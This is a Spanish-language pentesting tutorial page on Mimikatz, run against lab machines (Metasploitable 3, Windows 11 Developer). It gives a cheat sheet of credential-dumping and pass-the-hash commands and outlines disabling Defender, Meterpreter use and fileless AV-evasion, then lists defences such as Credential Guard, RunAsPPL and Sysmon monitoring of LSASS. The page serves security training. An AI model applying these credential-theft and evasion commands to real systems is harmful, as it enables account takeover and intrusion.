🐈Mimikatz
Mimikatz es una herramienta muy popular entre los hackers, ya que puede recuperar contraseñas almacenadas en texto claro o en forma de hash. Tiene un montón de opciones para extraer información.
Repositorio original (código fuente en C)
Repositorio de Parrot (ejecutables en .exe y .dll)

Nota: Este tipo de técnicas son muy invasivas, ya que vamos a conseguir información sensible, por lo que no podemos utilizar estas técnicas sin un consentimiento o aprobación por parte del objetivo
Principales Comandos
Mimikatz tiene multitud de comandos para extraer información y credenciales, algunos de los principales son:
privilege::debug: Este comando se utiliza para habilitar la depuración en el proceso actual, lo que permite a Mimikatz obtener acceso a las credenciales del sistema.token::elevate: Este comando se utiliza para obtener privilegios elevados en el sistema actual.sekurlsa::logonPasswords: Este comando se utiliza para recuperar las contraseñas almacenadas en el archivo LSASS.exe, que es el proceso responsable de la gestión de credenciales en sistemas Windows.lsadump::sam: Este comando se utiliza para recuperar las contraseñas almacenadas en el archivo SAM, que es la base de datos de cuentas locales en sistemas Windows.lsadump::cache: Este comando se utiliza para recuperar las credenciales almacenadas en la caché de credenciales del sistema.lsadump::secrets: Este comando se utiliza para recuperar las credenciales almacenadas en el archivo SYSTEM, que es un archivo que contiene información sobre la configuración del sistema.
Escribiendo solamente el comando principal seguido de 2 puntos como privilege::, token::, o lsadump:: obtenemos las variables que le podemos pasar para extraer información:
Cheatsheet
privilege::debug
Habilita los privilegios de depuración en el proceso actual.
token::elevate
Intenta elevar los privilegios del token del proceso actual al nivel de "System".
lsadump::lsa
Muestra información sobre la Política de Seguridad Local (LSA) del sistema.
lsadump::sam
Muestra las cuentas de usuario almacenadas en la base de datos SAM (Security Accounts Manager).
lsadump::secrets
Muestra los secretos almacenados en LSASS, como claves de máquina y otros datos sensibles.
lsadump::cache
Muestra las credenciales almacenadas en la caché de autenticación de Windows.
sekurlsa::logonpasswords
Muestra las contraseñas en texto plano almacenadas en LSASS (Local Security Authority Subsystem Service).
sekurlsa::tickets /export
Enumera los tickets de Kerberos en el sistema y los exporta a un archivo.
sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<ntlmhash>
Realiza un Pass-the-Hash (PTH) con el hash NTLM proporcionado.
sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<ntlmhash> /run:<command>
Realiza un Pass-the-Hash (PTH) y ejecuta un comando utilizando las credenciales obtenidas.
sekurlsa::wdigest
Muestra las contraseñas almacenadas en LSASS en formato WDigest.
sekurlsa::ekeys
Muestra las claves de cifrado de Kerberos almacenadas en LSASS.
dpapi::masterkey
Muestra las claves maestras DPAPI (Data Protection API) almacenadas en el sistema.
dpapi::cred
Muestra las credenciales DPAPI protegidas almacenadas en el sistema.
dpapi::chrome
Muestra las credenciales guardadas por Google Chrome utilizando DPAPI.
dpapi::firefox
Muestra las credenciales guardadas por Mozilla Firefox utilizando DPAPI.
dpapi::credhist
Muestra el historial de credenciales de usuario protegidas por DPAPI.
crypto::capi
Enumera las claves y los certificados almacenados en el almacén de claves de Windows.
crypto::certificates /export
Exporta los certificados del almacén de certificados de Windows a archivos individuales.
crypto::keys /machine
Enumera las claves criptográficas de máquina almacenadas en el sistema.
crypto::keys /user
Enumera las claves criptográficas de usuario almacenadas en el sistema.
vault::list
Enumera los elementos almacenados en el Vault de Windows, como credenciales de Internet Explorer y Edge.
vault::cred /patch
Enumera las credenciales protegidas almacenadas en el Vault de Windows.
vault::cred /export
Exporta las credenciales protegidas almacenadas en el Vault de Windows a archivos individuales.
token::list /export
Enumera los tokens de seguridad en el sistema y los exporta a un archivo.
misc::cmd
Ejecuta comandos en un símbolo del sistema.
misc::memssp
Carga el módulo MemSSP.dll para interceptar credenciales en memoria.
misc::screenshot
Toma una captura de pantalla del escritorio del usuario actual.
misc::wifi
Enumera los perfiles de Wi-Fi almacenados en el sistema y muestra sus contraseñas.
Caso práctico
Vamos a poner a prueba Mimikatz contra la máquina Metasploitable 3 Windows o contra una máquina Windows 11 Developer para probar técnicas de evasión de antivirus:
Nota: Necesitamos tener tanto las máquinas como Kali Linux en modo Bridge para que sean accesibles en nuestra red local.
Test de conexión
Si no puedes hacer ping desde tu Kali Linux hacia la máquina Windows 11 Developer, probablemente se debe a la configuración del firewall de Windows, que bloquea ICMP (ping) por defecto, incluso en modo desarrollador. Podemos deshabilitarlo con el siguiente comando en una Powershell cómo administrador:
Ejecución de Mimikatz
Podemos conseguir ejecutar Mimikatz en un objetivo de varias formas, por lo que cubriremos las más habituales.
Opción 1: Envío manual del binario
El repositorio oficial contiene el código fuente en C, pero el de ParrotSec contiene ejecutables en .exe y .dll precompilados que podemos utilizar libremente:
Nota: En sistemas Windows modernos no podremos enviarnos Mimikatz a través de este método ya que lo bloqueará el Defender, por lo que debemos deshabilitarlo desde Powershell.

Deshabilitar Defender
Ejecutar los siguientes comandos en una Powershell como administrador:
Tip: Puedes copiar todo el contenido y pegarlo en la PowerShell para evitar ir uno por uno
Una vez deshabilitado ya lo podemos enviar sin problema:

Ejecutar Mimikatz y guardar log
Opción 2: Acceso desde Meterpreter
Probaremos esta técnica contra la máquina Metasploitable 3 Windows.
💣Metasploitable 3Explotación: EternalBlue
Cargar el módulo de Mimikatz
Privilege Debug y Token Elevate
privilege::debug
privilege::debugEste privilegio permite a un proceso acceder a la memoria de otro proceso. Es especialmente útil en el análisis y depuración de programas, así como en la recolección de credenciales y otros datos sensibles de la memoria.
token::elevate
Este comando se utiliza para elevar el contexto de seguridad de un proceso a un nivel más alto, generalmente el de SYSTEM, para obtener permisos más amplios dentro del sistema operativo. Esto permite realizar acciones que normalmente requerirían permisos administrativos avanzados.
Obtener credenciales
A través de kiwi
De forma clásica (con comandos de mimikatz)
Opción 3: Subida manual desde Meterpreter
Subir mimikatz
Ejecutar desde shell
Opción 4: Mimikatz Fileless (bypass AV)
Ejecutar Mimikatz de forma fileless (sin escribir archivos en disco) significa cargar y ejecutar Mimikatz directamente en la memoria RAM de un sistema sin dejar un binario físico (como mimikatz.exe) en el disco duro. Esta técnica es usada comúnmente por atacantes avanzados (y red teamers) para evadir antivirus, EDR y otras soluciones basadas en detección de archivos o hashes.
Probaremos esta técnica contra la máquina Windows 11 Developer.
🟦Windows 11 DeveloperIncluso siendo una técnica fileless (sin archivos en disco) Defender bloquea su ejecución, por lo que lo deshabilitaremos para probar la técnica. En entornos más antiguos esta técnica haría el bypass sin problema.

Deshabilitar Defender con Powershell
Verificar que esta deshabilitado
Podemos ejecutar el siguiente script en Powershell para hacer una verificación completa del estado de seguridad y los elementos que han sido deshabilitados.
Tip: Puedes copiar y pegar directamente el siguiente script en Powershell para ejecutarlo directamente

Ejecucion fileless en Powershell
Defensa, detección y contramedidas
1. Activar Credential Guard (Windows 10/11 Enterprise)
🔒 Protección a nivel de virtualización para evitar que Mimikatz acceda a LSASS.
Evita extracción de credenciales almacenadas en memoria.
Compatible con sistemas modernos.
Ideal para endpoints de alto riesgo o administradores.
2. Ejecutar LSASS como proceso protegido (RunAsPPL)
🧱 Impide que procesos no confiables accedan a la memoria de LSASS, incluso con privilegios altos.
Requiere reinicio.
Compatible con AV/EDR que no interfieran con LSASS.
3. Desactivar WDigest
🚫 Evita que las credenciales en texto claro se almacenen en memoria.
Mitiga uno de los vectores más usados por Mimikatz.
Efectivo en entornos heredados donde aún se usa WDigest por compatibilidad.
4. Monitorización de acceso a LSASS con Sysmon
👁️ Detecta intentos de acceso ilegítimos al proceso LSASS.
Sysmon + SIEM (Splunk, ELK, Wazuh) con reglas como:
Event ID 10(ProcessAccess)TargetImage = lsass.exe
Permite detección temprana y generación de alertas.
5. LAPS (Local Administrator Password Solution)
🔐 Evita la reutilización de credenciales locales (Pass-the-Hash).
Asigna contraseñas únicas, rotativas y cifradas a cada equipo.
Se integra con GPO.
Invalida ataques horizontales post-explotación.
Última actualización
¿Te fue útil?